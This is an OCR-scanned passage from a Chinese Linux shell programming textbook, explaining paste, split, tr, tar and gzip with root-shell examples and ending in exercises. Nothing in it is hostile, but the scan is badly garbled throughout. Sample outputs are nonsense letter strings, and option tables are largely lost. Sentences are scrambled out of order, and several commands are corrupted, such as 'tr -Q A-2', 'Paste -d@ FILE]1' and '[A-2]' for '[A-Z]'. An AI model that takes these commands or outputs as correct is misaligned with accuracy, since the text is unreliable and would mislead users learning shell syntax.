# 例 5-21: paste 命令 的 基本 用 法 
[root@jselab shell-book]# cat FILE1 #FILE1 的 内 容 


Shanghai Jiaotong University 

maswwsasaey oieorente 

BeijJing University 

Southeast University 

Vietormv nn ees 

[root@jselab shell-book]# cat FILE2 #FILE2 的 内 容 
snanghas 

Toronto 

Beijing 

Nanjing 

Melbourne 

[root@jselab shell-book]# paste FILE1 FILE2 # 粘 贴 FILE1 和 FILE2，FILE1 在 前 
shanghai Jiaotong Unijversity Shanghai 








Unavyesrs ey oreonentomnLonmeo 








BeijJing University BeiJjing 

Southeast University Nanjing 

VieEor Unnveesaey Melbourne 

[root@jselab shell-book]# paste FILE2 FILE1 # 粘 贴 FILE2 和 FILEl1，FILE2 在 前 
Shanghai shanghiad uaotonco Unuver ene 


EEC SEE ne 
Beijing Beijing University 
NanjJing Southeast University 
Melbourne We oy my 
[root@jselab shell-book]# 


例 5-21 新 建 两 个 文件 ， FILE1 和 FILE2，FILE1 中 的 每 行 是 一 个 大 学 名 称 ，FILE2 中 的 
每 行 是 一 个 城市 名 称 。paste FILE1 FILE2 就 将 FILE1 的 内 容 作为 每 行 记录 的 第 1 域 、FILE2 
的 内 容 作 为 第 2 域 ， 中 间 用 Tab 键 作为 分 隔 符 ; 而 paste FILE2 FILE1 则 相反 ，FILE2 内 容 为 
第 1 域 、FILE1 为 第 2 域 , 此 时 , 域 分 隔 符 是 Tab 键 ， 如 需 改变 域 分 隔 符 , 我 们 可 以 使 用 paste 
命令 的 -d 选项 ， 请 看 下 面 的 例 5-22: 

例 5-22: paste 命令 -d 选项 的 用 法 


[root@jselab shell-book]# paste -d: FILE]1 FILE2 # 以 :为 域 分 隅 符 
shanghai Jiaotong University:Shanghai 


















































Univensameyor lononeo norm 





Beijing University:BeiJjing 

Southeast University:Nanjing 

Victory University:Melbourne 

[root@jselab shell-book]# Paste -d@ FILE]1 FILE2 # 以 @ 为 域 分 隔 符 
shanghai Jiaotong Uni7ezsityaQShnanghai 

WEST or loroneoueronte 

Beijing University@Beijing 

Southeast University@Nanjing 

Victory University@Melbourne 

[root@jselab shell-book]# 


例 5-22 演示 了 paste 命令 -d 选项 的 用 法 ，-d: 将 粘贴 后 的 文人 





I 








以 “:” 为 域 分 隔 符 ， 而 -d@ 
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则 以 @ 为 域 分 隔 符 ，sort、join 和 cut 命令 改变 域 分 隔 符 都 是 为 了 按 域 读 取 文件 内 容 ， 而 paste 
命令 则 不 同 ， 改 变 域 分 隔 符 是 用 于 设置 输出 文件 的 格式 。 
从 例 5-21 和 例 5-22 都 可 以 看 出 ，paste 命令 默认 是 将 一 个 文件 按 列 粘贴 的 ，-s 选项 可 以 
实现 将 一 个 文件 按 行 粘贴 ， 例 5-23 给 出 了 -s 选项 的 例子 : 
# 例 5-23: paste 命令 -s 选项 的 用 法 






































[root@jselab shell-book]# paste -d: -s FILE1 FILE2 # 按 行 粘贴 文件 
shanghai Jiaotong University:University of Toronto:BeiJjing University:Southeast 
University:Victory University = 何人 | 


shanghai:Toronto:BeiJing:NanJing:Melbourne 

[root@jselab shell-book]# 

例 5-23 在 将 FILE1 和 FILE2 粘贴 成 新 文件 时 , 加 上 了 -s 选项 , FILE1 内 容 被 放 到 同一 行 ， 
域 之 间 以 “:” 分 隔 ，FILE2 内 容 被 粘贴 到 第 2 行 ， 同 样 以 “:” 分 隔 。 因 此 ， 简 言 之 ，paste 
不 加 -s 选项 时 ， 将 文件 内 容 “ 竖 着 放 ” 加 上 -s 选项 后 ， 将 文件 内 容 “ 横 着 放 ” 

paste 命令 的 “-” 选 项 比较 特殊 ， 当 paste 命令 从 标准 输入 中 读 取 数据 时 ,“-” 选 项 才 起 
作用 ， 下 面 举 一 个 例子 来 说 明 paste 命令 的 “-” 选 项 。 

# 例 5-24: paste 命令 -选项 的 用 法 


eo el nm eer na a # 从 标准 输入 读 取 数据 
anoenerresesheer ravieval2 sh eolonssheremle exeeere Ts # 每 行 显示 5 个 文件 名 













































































execirne sl exece sm ETITEDNEILEZ foreverssh 
lreemloo Log loopalas smaet re nxn 





newfile nokillme.sh partl1 part2 part3 
Barttotauretorsenrerft snmsete ms leelo 
sleep55.sh stack.sh subsenv.sh subsep.sh subsig.sh 
subsparallel.sh subspipe.sh subsvar.sh TEACHER.db test.sh 
testvar shntraplooessh 
[root@jselab shell-book]# 


例 5-24 中 的 paste 命令 没有 输入 文件 , 它 是 通过 读 取 ls 命令 的 输出 结果 ， 再 进行 粘贴 。 
paste 命令 后 的 -d" "将 分 陋 符 设置 为 空格 符 , 在 原本 应 出 现 “ 文 件 1 文件 2” 的 位 置 上 加 上 “-” 
选项 。 例 5-24 加 了 5 个 “-” 选 项 , 从 结果 可 以 看 到 ， 烙 贴 后 的 每 行 显示 5 个 文件 名 ， 每 个 
“-” 选 项 表示 读 取 1 次 标准 输入 数据 ， 即 读 取 到 标准 输入 数据 中 的 一 个 域 。 


S56 split 命 合 人 


split 命令 用 于 将 大 文件 切割 成 小 文件 ,split 命令 可 以 按照 文件 的 行 数 、 字 节 数 切割 文件 ， 
并 能 在 输出 的 多 个 小 文件 中 自动 加 上 编号 。split 命令 的 基本 格式 如 下 : 

split [选项 ] 待 切割 的 大 文件 输出 的 小 文件 

split 命令 的 选项 用 于 指定 切割 的 依据 ， 我 们 将 split 命令 的 选项 及 其 意义 列 于 表 5-6 中 。 


表 5-6 split 命令 选项 及 其 意义 










































































iT 















































和 在 
忆 、 





此 两 个 选项 等 价 ， 都 用 于 指定 切割 成 小 文件 的 行 数 
指定 切割 成 小 文件 的 字 节 
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5-25 所 示 : 
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与 -b 选项 类 似 ， 但 是 ， 切 割 时 尽量 维持 每 行 的 完整 性 
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下 面 通过 儿 个 例子 来 说 明 split 命令 的 用 法 ， 首 先 给 出 一 个 按 行 数 切割 文件 的 例子 ， 如 例 














例 5-25: split 命令 按 行 切割 文件 
将 TEACHER. db 每 2 行进 行 切割 ， 输 出 文件 以 PEO. db 开头 命名 

root@jJselab shell=book Sa 2 iEACHER deo gs 

root@jselab shell-book]# ls PEO* 得 到 如 下 3 个 小 文件 
PESOEeoBbaa pao ar Pano lae 


























root@jselab shell-book]# cat PEO.dbaa 包含 两 条 记录 
Btu Snanghaa liaoeone UniversnE hanchan Cha 
Bolin ns or loreonto mn ma 

root@jselab shell-book]# cat PEO.dbab 包含 两 条 记录 
Diou Beliino Unliverstey Der China 

J Lueo: seuthneast universuey: Nanine China 

root@jselab shell-book]# cat PEO.dbac 包含 一 条 记录 


Y Zhang:Victory University:Melbourne:Australia 


























root@jselab shell-book 


网 5-25 中 split 命令 利用 -2 指定 按 2 行 对 TEACHERdb 进行 切 制 ， 即 每 2 行 记录 切割 成 









































1 个 文件 。PEO.db 指定 输出 小 文件 名 ， 由 于 小 文件 有 多 个 ，split 命令 在 PEO.db 后 面 自 动 加 
上 编号 以 区 分 不 同 的 小 文件 ,编号 为 aa 一 zz, 即 第 1 个 小 文件 是 PEO.dbaa、 第 2 个 是 PEO.dbab、 
第 3 个 是 PEO.dbac、.……. ， 我 们 逐个 碍 看 小 文件 的 记录 ， 前 面 两 个 小 文件 包含 2 条 记录 ， 最 
后 1 个 小 文件 只 有 1 条 记录 。 split 命令 所 切割 生成 的 小 文件 最 多 包含 1000 行 记录 。 





可 



































个 选项 略 有 区 别 ， 我们 通过 下 面 的 两 个 例子 来 说 明 这 两 个 选项 。 例 5-26 给 出 了 -b 选项 的 用 法 : 





























-b 和 -C 选项 都 是 用 于 指定 小 文件 的 字 节 数 ， 即 两 个 选项 都 是 按照 文件 大 小 来 切割 文件 的 ， 























# 例 5-26: split 命令 -b 选项 的 用 法 
[root@jselab shell-book]# 11 T* # 列 出 TEACHER. db 的 详细 信息 ， 大 小 为 220B 
三 关闭 三 区 三 三 区 三 三 二 有 且 帮 二 COLORSCot 220 03=09 L132 TEACHER. dB 








# 将 TEACHER. db 按 每 100B 切割 成 小 文件 ， 此 处 未 指定 小 文件 的 名 字 
[reot@ jselab shell-lbook]jt# SEOULIOUTIEACHERSO5 




















[root@jselab shell-book]# 11 x* # 得 到 3 个 小 文件 ， 以 x 加 上 编号 命名 
EW 0 04 
EE J od mos 100 03=02 1730 as 
EW Eo 2000S 0m 0 oe 


# 下 面 逐个 查看 三 个 小 文件 的 内 容 

[root@jselab shell-book]# cat xaa 

BoLnu nanghaa iaoEonoUniversaey nanelha neha 

Gym Un ess rllorneonee lrmooreanada 

D Hou:B[root@jselab shell-book]# cat xab 

eijJing University:BeiJing:China 

JLuo Souhneast universuey Nan i ne China 

Yhang Vieteory University: lrooeaselab shell ookli eat xae 
Melbourne:Australia 

[root@jselab shell-book]# 


例 5-26 中 的 split 命令 利用 -b 选项 按 100B 切割 TEACHER.db 文件 ， 当 split 命令 不 指定 








小 文件 的 名 字 时 ， 将 自动 以 x 开 头 、aa 一 zz 为 编号 对 这 些小 文件 进行 命名 ， 用 1 命令 查看 这 
三 个 小 文件 时 发 现 ，xaa 和 xab 是 100B，xac 是 20B， 这 说 明确 实 按照 100B 的 大 小 切割 了 









































il 
[SD 
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TEACHER.db 文件 。 
其 至 存放 了 不 完整 的 单词 。 
虑 记录 的 完整 性 。 
么 ,如 果 我 们 用 -C 选项 指定 100B 切割 
了 5 
例 5- 


-C 选项 指定 100B 将 TEACHER. db 切割 成 小 文件 
root@jselab shell-book 


下 的 








《Lin 





列 5 








友人 外 区 人 
root@jselab shell-book 


到 精通 》 


ux Shell 编程 从 初学 














当 用 cat 命令 
因此 ，split 命 





但 是 ， 

















27: split 命令 -C 选项 的 用 法 








命令 -b 




















并 不 严格 按照 100B 的 大 小 进行 切割 








le 











选项 在 切割 文件 时 仪 考虑 了 文件 

















查看 这 三 个 文件 时 ， 发 现 每 个 文件 内 容 比较 凌乱 ， 
大 小 ， 并 未 考 





TEACHER.db 文件 会 得 到 什么 结果 呢 ? 请 看 如 


# split -C100 TEACHER.db 


Ew EE So rooteSoS0 0900/ 8 aa 
= | TOE oar 0 03=02 17:18 a 
a 
逐个 查看 三 个 小 文件 
root@jselab shell=book eat xaa 








Be Su 
root@jsel 
D Hou:Beijing University: 
Tiur Sonneast uni er Neng Cnina 
root@jsel 
Y Zhang:Victory University:Melbourne:Australia 
root@jsel 


ab shell=book eat xab 


ab shell=book 




















abyshiesn eeoeor 


cat xac 


Beijing:China 


Peon onanmel a on Un v ere Cos 
oflorontoloronor anaa 


例 5-27 利用 -C 选项 按 100B 切割 -TEACHER.db 文件 ， 同 样 得 到 xaa、xab 和 xac 三 个 小 
文件 ， 但 是 ，xaa 是 93B、xab 是 80B、 xac 是 47B，xaa、xab 和 xac 这 三 个 文件 存放 了 完整 





行 的 完整 性 。 比 较 例 5-26 和 例 5-27， 就 可 以 清 


5.7 区 二 





















































青 晰 地 看 出 -b 和 -C 选项 的 异同 了 。 












































由 此 可 见 ，-C 选项 并 不 严格 按照 -100B 的 大 小 进行 切割 ， 而 是 在 切割 时 尽量 维 











持 每 





人 


| 
/ 








tr 命令 实现 字符 转换 功能 ， 其 功能 类 似 于 sed 命令 , 但 是 ,tr 命令 比 sed 命令 简单 ， 也 就 
是 说 ，tr 命令 能 实现 的 功能 ，sed 命令 都 可 以 实现 。 尽 管 如 此 ，tr 命令 依然 是 Linux 系统 下 处 
理 文 本 的 常用 命令 。 本 节 简 单 介 绍 tr 命令 ，tr 命令 的 基本 格式 如 下 : 

tr [选项 ] 字符 串 1 字符 串 2 < 输入 文件 

tf 命令 有 三 个 选项 ， 我 们 将 工 命 令 的 选项 及 其 意义 列 于 表 5-7 中 。tr 命令 可 以 跟 两 个 字符 
串 ， 很 多 情况 下 ， 上 只 能 跟 一 个 字符 串 。“< 输 入 文件 ”表示 将 输入 文件 重 定向 到 标准 输入 ， 实 际 
上 ，fr 命令 与 sort、uniq、join 等 命令 不 同 ， 它 只 能 从 标准 输入 读 取 数据 。 因 此 ，tr 命令 要 么 将 





输 


入 文 伯 





表 5- 


选 


水 




















晰 地 理解 这 一 点 ， 在 此 ， 读 者 只 需要 记 住 tf 命令 
7 tr 命令 选 先 项 及 其 意义 
项 








重 定向 到 标准 输入 ， 要 么 从 管道 读 入 数据 。 读 者 在 学 习 完 本 书 第 10 章 之 后 将 会 更 清 


























的 输入 文件 之 前 需要 加 上 “<” 符 号 即 可 。 











华 清 远见 孝 
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FP 字 符 集 的 补 集 ， 即 反选 字符 串 1 中 的 字符 集 


Ph 出 现 的 所 有 字符 























重复 出 现 的 字符 序列 ， 只 保留 一 个 





tt 命令 的 -d 选项 最 简单 ， 因 此 ， 我 们 首 
-d 选项 只 需 跟 一 个 字符 串 ， 它 表示 删除 字符 上 
的 基本 用 法 ; 

# 例 5-28: tr 命令 -qd 选项 的 用 法 

[root@zawu shell-program]# cat AREACODE .db 

BEIJING:86010 

HONGKONG: 852 

SHANGHAI:86021 

TORONTO:001416 











Cl 





通过 一 个 例子 介绍 tr 命令 的 -d 选项 。tr 命令 的 
中 出 现 的 所 有 字符 ， 下 面 的 例 5-28 演示 了 tr -d 





Ud 























# 第 1 条 命令 : 删除 AREACODE .db 文件 中 所 有 的 大 写字 母 
[root@zawu shell-program]# tr -Q A-2 <AREACODE .db 
80600. 

2 

GO 

"OOMATS 

第 2 条 命令 : 删除 AREACODE .db 文件 中 所 有 的 数字 

LEeootQzawv she program])ti tr 0 9 <AREACODE: ge 
BEIJING: 

HONGKONG: 

SHANGHAI: 

TORONTO : 

第 3 条 命令 : 删除 AREACODE .db 文件 中 所 有 的 换行 符 

root@zawu shell-program]# tr -d "[\n]" <AREACODE.db 
BEIJING:86010HONGKONG: 852SHANGHAI :86021TORONTO:001416 
root@zawu shell-program]# 


列 5-28 中 的 tr 命令 利用 -d 选项 删除 AREACODE.db 文件 中 的 一 些 字符 ， 第 1 条 命令 用 

A~Z 表示 所 有 的 大 写字 母 , 第 2 条 命令 用 0 一 9 表示 所 有 的 数字 , 这 与 正则 表达 式 非 常 相 似 ， 

事实 上 , tr 命令 支持 正则 表达 式 的 一 部 分 , 如 a~z、A 一 Z、0 一 9、Ax3 等 。 第 3 条 命令 用 "[m]" 

表示 换行 符 , tr 命令 支持 POSIX 字符 类 和 一 些 控制 字符 , POSIX 字符 类 在 第 3 章 已 经 介绍 过 ， 

在 此 不 再 重复 列举 ， 我 们 仅 将 tr 命令 支持 的 控制 字符 列 在 表 5-8 中 。 
表 5-8 tr 命令 支持 的 控制 字符 


、 项 































































































Tl+G 铃声 





1I+H 退 格 符 


TI+L 走行 换 页 








Trl+J 换行 符 











TI+M 回 车 键 

















rl+I Tab 键 














tf 命令 的 -s 选项 用 于 删除 所 有 重复 出 现 的 字符 序列 ， 只 保留 一 个 ， 即 将 重复 出 现 的 字符 
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串 压 缩 为 一 个 学 符 。 下 面 给 出 的 
# 例 5-29: tr 命令 -s 选项 删除 空 
[root@zawu shell-program]# 
BEIJING 60010 














HONGKONG: 852 


SHANGHAI :86021 


TORONTO:001416 





cat AREACODE .db 


[root@zawu shell-program]# tr -s "[\n]" <AREACODE.db 


BEDJIING: S6010 
HONGKONG: 852 

SHANGHAI :86021 
TORONTO:001416 


[root@zawu shell-program]# tr -s "[\012]" <AREACODE .db 


BEIJING:86010 
HONGKONG:852 

SHANGHAI :86021 
TORONTO:001416 
[root@zawu shell-program]# 














例 5-29 中 AREACODE.db 文件 包含 车 干 空白 行 ， 空 
而 无 其 他 任何 字符 ， 因 此 ， 我 们 只 要 将 重复 出 现 的 换 







































































行 符 压 缩 成 一 个 就 可 以 消除 空 
重复 出 现 的 Wi 字符 压缩 成 一 个 ,\012 是 wm 的 八 进 
于 举 一 个 例子 来 说 明 tr 命令 的 -s 选项 





例 5-29 中 的 两 条 命令 利用 tr -s 将 
同样 可 以 用 来 表示 换行 符 。 下 面 
例 5-30: tr 命令 -s 选项 压缩 重复 字符 
rootQ@zawu shell=program cat REPEAT 
Wooooomennnn 
TTTTheyyyyyy 
root@zawu shell-program I oe Wael ll < Aue 
Women 
They 
root@zawu shell-program 









































例 5-30 
的 大 小 写字 母 都 压缩 成 一 个 。 











fr 命令 也 可 以 加 上 字符 串 1 和 字符 串 2， 将 字符 串 1 用 字符 


5-31 利用 tr 命令 实现 大 小 写字 母 的 互 换 。 
例 5-31: tr 命令 实现 大 小 写字 母 的 互 换 
root@zawu shell-program 
WOOOOOMENNNN 
TH 

root@zawu shell-program 
wooooomennnn 
ttttheyyyyyy 

root@zawu shell-program 


























网 5-29 利用 -s 选项 删除 文件 中 的 空白 行 。 


直行 





行 














人 











查看 AREACODE . db 的 内 容 


# 将 重复 出 现 的 换行 符 压缩 成 一 个 

















#\012 是 \n 的 八 进 





制 表示 方式 


行 可 以 看 做 该 行 只 有 一 个 换行 符 




















白 行 了 。 











制 表示 方式 ， 





#REPERAT 文件 有 很 多 重复 字母 








# 将 所 有 重复 字母 压缩 成 一 个 





的 REPEAT 文件 有 很 多 重复 出 现 的 字母 ， 我 们 可 以 利用 tr -s 命令 将 重复 出 现 








串 2 来 蔡 换 ， 下 面 给 出 的 例 


# 将 小 写字 母 蔡 换 为 大 写字 母 














tr "[a-z]" "[A-2]" <REPEAT 
EE WhABl Whe el Rea # 将 大 写字 母 替 换 为 
华 清 远 见 教育 集团 官网 www. 





























小 写字 母 
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例 5-31 中 的 两 条 命令 分 别 将 REPEAT 文件 的 小 写字 母 替 换 成 大 写字 母 , 再 将 大 写字 母 替 
换 为 小 写字 母 ， 以 [a- 可 表示 小 写字 母 集合 、[A-Z] 表 示 大 写字 母 集合 。 当 然 ， 我 们 也 可 以 使 用 
POSIX 字符 类 来 表示 大 小 写字 母 集 合 ， 如 [:lower:] 表 示 小 写字 母 集 合 、[:upper:] 表 示 大 写字 母 
集合 。 因 此 ， 例 5-32 给 出 的 命令 实现 了 与 例 5-31 完全 一 样 的 功能 。 
例 5-32: 用 PosIX 字符 类 表示 大 小 写 
roeotQzawl shell program)t tr Tleower: | lI: oper < REPEAL 
WOOOOOMENNNN 


TITIANEYYYYYY 
reooleGaw he ro ral er ewe: < 


















































Wooooomennnn 


ttttheyyyyyy 
root@zawu shell-program]# 


fr 命令 的 -c 选项 用 于 选 定 字符 串 1 中 字符 集 的 补 集 ， 即 反选 字符 串 1 中 的 字符 集 。 下 面 
的 例 5-33 结合 使 用 -c 和 -s 选项 删除 AREACODE.db 文件 中 的 冒号 、 数 字 和 空白 行 : 
例 5-33: tr 命令 -c 选项 的 用 法 

将 不 在 " [a-z] [A-2] "字符 集 内 的 字符 蔡 换 为 换行 符 

然后 -s 选项 将 重复 出 现 的 换行 符 压缩 成 一 个 

Looearawt She eneraml ee oso le za ZI NO ARERACODE ds 

BEIJING 

HONGKONG 

SHANGHAI 

TORONTO 

[root@zawu shell-program]# 


例 5-29 曾 显示 过 AREACODE.db 文件 的 内 容 ， 它 是 由 字母 、 冒 号 、 数 学 和 空白 行 组 成 
的 文本 文件 ， 例 5-33 结合 使 用 -c 和 -s 选项 删除 AREACODE.db 文件 中 的 冒号 、 数 学 和 空 
行 ，-c 选项 用 于 选 定 不 在 "[a-z][A-Z]" 字 符 集 内 的 字符 ，tr 命令 将 选 定 的 字符 转换 成 换行 符 ， 
\012 是 换行 符 的 八进制 码 ,* 表 示 将 换行 符 任 意 扩 展 ， 使 其 等 于 被 替换 的 字符 集 个 数 ,， 例 5-33 
的 结果 显示 该 tr 命令 确实 已 将 AREACODE.db 文件 中 的 冒号 、 数 字 和 空白 行 删除 。 
网 5-33 的 * 符号 表示 前 面 学 符 的 任意 扩展 ， 事 实 上 ，tr 命令 可 以 用 [character*n] 表 示 
character 字符 的 mn 次 重复 出 现 ,下 面 给 出 这 一 用 法 的 例子 : 
列 5-34: [character*n] 在 tr 命令 中 的 用 法 
将 REPEAT 文件 连续 出 现 5 次 o 字符 改 为 * 字 符 
ES 
We****mennnn 


TTTTheyyyyyy 
root@zawu shell-program]# 


网 5-34 中 的 tr 命令 通过 "[o*5]" 匹 配 连续 出 现 5 次 。 字符 形成 的 字符 串 ,并 将 该 字符 串 赤 
换 为 * 字 符 囊 。 


5.8 es 站 


tar 命令 是 Linux 的 归档 命令 , 通俗 地 说 ,tar 命令 实现 了 Linux 系统 文件 的 压缩 和 解压 缩 ， 
类 似 于 Windows 下 的 WinRAR 软件 。tar 命令 是 Linux 系统 最 常用 的 命令 之 一 ， 很 多 Linux 
安装 文件 包 首 先 需要 用 tar 命令 进行 解压 缩 才 能 使 用 。 本 节 介 绍 tar 命令 的 基本 用 法 , tar 命令 
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忆 
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的 基本 格式 如 下 : 


tar [选项 ] 文件 名 或 目录 名 


tar 命令 的 选项 比较 多 ， 我 们 将 常用 的 选项 列 在 表 5-9 中 。 


表 5-9 tar 命令 选项 及 其 意义 








创建 新 的 包 





为 包 添加 新 的 文件 





H 包 内 容 








新 包 中 的 文件 ， 若 包 中 无 此 文件 ， 则 将 该 





文件 添加 到 包 中 








解压 缩 文件 














压缩 文件 或 设备 ， 该 选项 通常 是 必 选 的 














详细 报告 tar 处 理 文件 的 信 





的 用 法 : 




















用 gzip 压缩 和 解压 缩 文件 ， 若 加 上 此 选项 创建 压缩 包 ， 那 么 解 








压缩 时 也 需要 加 上 此 选项 





下 面 举 几 个 例子 说 明 tar 命令 的 用 法 ， 首 先 给 出 例 5-35， 它 演示 了 tar 命令 创建 和 显示 包 




















# 例 5-35: tar 命令 -c 和 -f 选项 的 用 法 

[root@zawu shell-program]# tar -cf db.all 
[root@zawu shell-program]# ls db* 

elles 

[root@zawu shell-program]# tar -tf db.all 
AREACODE .db 

CARGO2 .db 

CARGO .db 

BEBYEO 

NAME .db 

PROEBMSSORS a 

SORT CARGO.db 

TEACHER1 .db 

TEACHER .db 

TEACHER HOBBY .db 

[root@zawu shell-program]# 








el 





站 


# 
# 


将 所 有 





人 
已 


i 





.db 结尾 的 文件 放 入 压缩 包 








建 压缩 包 的 名 字 
查看 db .all 压缩 包 的 内 容 











上 面 的 例 5-35 用 tar 命令 创建 一 个 新 的 包 ， 名 字 是 db.all， 内 容 是 当前 目录 下 所 有 以 .db 


结尾 的 文件 ， 创 建 包 时 ，tar 命令 用 了 -c 和 -f 选项 ， 
接着 ， 例 5-35 演示 了 tar 命令 带 上 -t 和 -选项 查看 包 内 容 的 月 

















上 必 选 的 地 选项， 可 以 看 到 ，alldb 确实 包含 了 
对 于 已 创建 的 包 , tar 命令 的 选项 可 将 新 的 文件 加 入 到 
的 用 法 : 











# 例 5-36: tar 命令 -r 选项 的 用 法 

[root@jselab shell-lbook]# tar -rf db.all 
[eetenmerlas nem soo tar Easanl 
AREACODE .db 

CARGO2 .db 

CARGO .db 

HOBEN ee 





所 有 以 .db 结 








-c 表示 创建 新 的 包 ，- 节 通常 是 必 选 选项 ; 
法，-t 表示 列 出 包 内 容 ， 再 带 
尾 的 文件 。 





eg 











# 将 以 1og 开头 的 文件 添加 到 db .all 中 



































其 中 , 下面 的 例 5-36 演示 了 tar -r 





# 查 看 db .all 的 内 容 
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NAME . db 
PROEESSOR .db 
SORT CARGO .db 
mee 
TEACHER. db 
TEACHER HOBBY .db 
loggg # 新 添加 到 qb .all 的 文件 
logggl # 新 添加 到 qb .a11 的 文件 
root@jselab shell-book] 


网 5-36 将 当前 目录 中 以 log 开头 的 文件 添加 到 db.all 包 , -r 选项 表示 为 包 添 加 新 的 文件 ， 
log* 表 示 所 有 以 log 开头 的 文件 , 当 再 次 查看 db.all 包 的 内 容 时 发 现 db.all 多 了 loggg 和 loggg1 
两 个 文件 。 
tar 命令 的 -u 选项 用 于 更 新 包 中 的 文件 ， 比 如 ， 我 们 对 当前 目录 的 TEACHER.db 文件 进 
行 了 修改 ， 需 要 将 修改 后 的 TEACHER.db 文件 添加 到 db.all 包 ， 那 么 只 需要 使 用 命令 tar -uf 
db.all TEACHER.db， 就 可 实现 TEACHER.db 文件 的 更 新 操作 。 如 果 包 中 不 存在 需要 更 新 的 
文件 ， 那 么 tar -u 就 将 该 文件 添加 到 包 ， 因 此 ， 从 该 角度 来 说 ，-u 选项 也 可 用 于 为 包 添 加 新 
的 文件 ，-u 选项 完全 能 代替 -r 选项 。 
tar 命令 的 另 一 重要 功能 就 是 解压 缩 ，Linux 系统 下 有 很 多 种 压缩 包 格 式 ， 
如 .tar、.gz、.tar.gz、.tgz 和 .Z 等 结尾 的 压缩 包 名 ， 从 应 用 的 角度 来 说 ， 我 们 没有 必要 搞 清楚 
这 些 不 同 格式 压缩 包 的 区 别 ， 也 无 须 用 不 同 的 命令 来 对 这 些 不 同 格 式 的 包 解 压缩 。 本 节 给 出 
两 个 Linux 系统 下 解压 的 通用 命令 ， 格 式 如 下 : 
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tar -xvf 压缩 包 名 称 解压 非 gzip 格式 的 压缩 包 
tar -zxvf 压缩 包 名 称 解压 gzip 格式 的 压缩 包 
上 述 两 种 tar 命令 分 别针 对 非 -gzip 格式 和 gzip 格式 ， 加 上 -z 选项 可 以 解压 用 gzip 压缩 


























的 文件 ，-x 选项 表示 解压 缩 文件 ，=v 选项 能 生成 解压 缩 过 程 的 状态 信息 ，-f 选项 是 必 选 选 
项 ， 这 些 选 项 的 次 序 可 以 交换 ， 对 结果 没有 影响 。 下 面 我 们 举 一 个 例子 说 明 tar 命令 的 解压 
用 法 : 
# 例 5-37: tar 命令 解压 压缩 包 
[root@jselab shell-book]# tar -zxvf db.all #db.all 非 gzip 格式 加 上 -z 选 项 解压 出 错 




















可 TRUE moe Mo ‘oil Moonie 
tar:ehnmle returnedstacns dy 

tar: 由 于 前 次 错误 ， 将 以 上 次 的 错误 状态 退出 
[root@jselab shell-book]# tar -xvf db.all # 去 掉 -z 选项 ， 解 压 db .all 成 功 
AREACODE .db # 加 上 -v 选项 才 生 成 这 些 解 压 出 的 文件 信息 
CARGO2 .db 

CARGO .db 

HOBEY a 

NAME .db 

PROPESSORS A 

SORT_ CARGO.db 

TEACHERD aS 

TEACHER .db 

TEACHER HOBBY .db 

loggg 

logggl 

[root@jselab shell-book]# 
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压缩 包 使 用 tar -zxvf 命令 惑 昌 


压缩 文件 ， 利 用 tar 命令 对 其 外 
当然 ，gzip 命令 也 可 将 db.all.gz 文 从 
项 就 可 实现 ， 下 面 的 例 5-39 给 
# 例 5-39: gzip 命令 -d 选项 的 用 法 

[eeotenselab shell oorltozie dade og 
[root@jselab shell-book]# ls db* 





《Linux Shell 编程 从 初学 到 精通 》 


例 5-37 利用 tar 命令 解压 db.all 包 ， 由 于 db.all 非 gzip 格式 ， 当 加 上 -z 选项 时 ， 解 压 
H 错 ; 去掉 -z 选项 解压 成 功 ， 而 且 由 于 -v 选项 的 存在 ，tar 命令 自动 生成 被 解压 出 的 文 从 


信息 。 


tar -cf 命令 创建 的 包 实际 上 是 将 多 个 文 们 
























































I 














F 放 到 一 起 ， 此 时 文件 并 没有 被 压缩 ，gzip 命 信 




















公 
~ 
是 Linux 系统 中 负 用 的 压缩 工具 ， 它 可 以 对 tar 命令 创建 的 包 进行 压缩 , 但 是 ，gzip 所 生成 的 











# 例 5-38: gzip 命令 基本 用 法 


[root@jselab shell-book]# gzip db.all 
[root@jselab shell-book]# ls *.gz 


elosre hi 





eeuenelab shneN oo Ear 2xvE deoll ez 


AREACODE .db 
CARGO2 .db 

CARGO .db 

HOBBY .db 

NAME .db 
PROFESSOR.db 
SORT CARGO.db 
TEACHER1 .db 
TEACHER .db 
TEACHERYHORBBYS de 
loggg 

logggl 
[root@jselab shell-book]# 





解压 缩 ， 


























给 出 一 个 介绍 gzip 及 其 解压 缩 的 例子 : 





# 压 缩 db .all 包 


#db.all 变 成 ab.al1.gz 
# 解 压缩 db .al1.gz 包 





#tar 命令 解压 gzip 包 成 功 





例 5-38 中 的 gzip 命令 压缩 db.all 包 ， 生成 名 为 db.all.gz 的 文件 ，db.all.gz 和 db.all 的 内 























文件 经 过 了 压 缩 , 占用 空 














alemannl 
[root@jselab shell-book]# 


dU 


径 上 月 




















司 比 较 小 ; 由 于 db.all.gz 是 gzip 格式 的 


E 缩 时 ， 需 要 加 上 -z 选项 。 
F 还 原 到 db.all 文件 ， 只 要 在 gzip 命令 后 面 加 上 -d 选 





























HH 了 gzip -d 命令 的 用 法 : 


# 将 db .all .gz 解压 缩 


#gzip -d 的 结果 仍然 是 包 ， 与 tar 命令 存在 区 别 











gzip -d 对 db.all.gz 的 处 理 也 称 为 解压 缩 ， 它 得 到 的 是 包 ， 而 tar -zxvf 命令 可 以 直接 得 到 


包 内 的 文件 。 


加 于， ss 


本 鞋 的 内 容 极 为 丰富 ， 介 


了 Linux 的 文本 处 理 命令 ，sort 命令 是 一 种 文本 排序 工具 ; 

















uniq 命令 可 以 去 除 文本 的 重复 记录 ， 而 且 











命令 用 于 将 多 个 文本 文件 或 标 闪 














mad | 





























站 





以 统计 重复 文本 行 的 数量 ，join 命令 实现 类 似 于 
关系 数据 库 中 的 连接 操作 ; cut 命令 用 于 从 标准 输入 或 文本 文件 中 按 域 或 行 提取 文本 ; paste 
中 的 内 容 烙 贴 而 形成 新 的 文件 ;split 命令 用 于 将 大 文件 
切割 成 小 文件 ，fr 命令 实现 字符 转换 功能 ， 可 以 实现 文本 文件 的 过 滤 功 能 ，tar 命令 是 Linux 
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的 归档 命令 , tar 命令 和 gzip 命令 用 于 实现 Linux 系统 文件 的 压缩 和 解压 缩 。 这 些 功能 强大 的 
Linux 文本 处 理 命令 经 常 出 现在 各 种 Shell 脚本 程序 中 ， 是 Shell 编程 的 基础 。 


0 Wr 站 


.下面 给 出 一 个 记录 学 生 信息 的 文件 student， 每 条 记录 包含 5 个 域 ， 域 分 隔 符 是 短 杠 
“-” 5 ue 依次 是 : 姓名 -专业 -出 生年 份 -籍贯 -学 制 。 请 按 下 面 要 求 对 此 文件 进行 排序 ; 
Gomes nA ne 
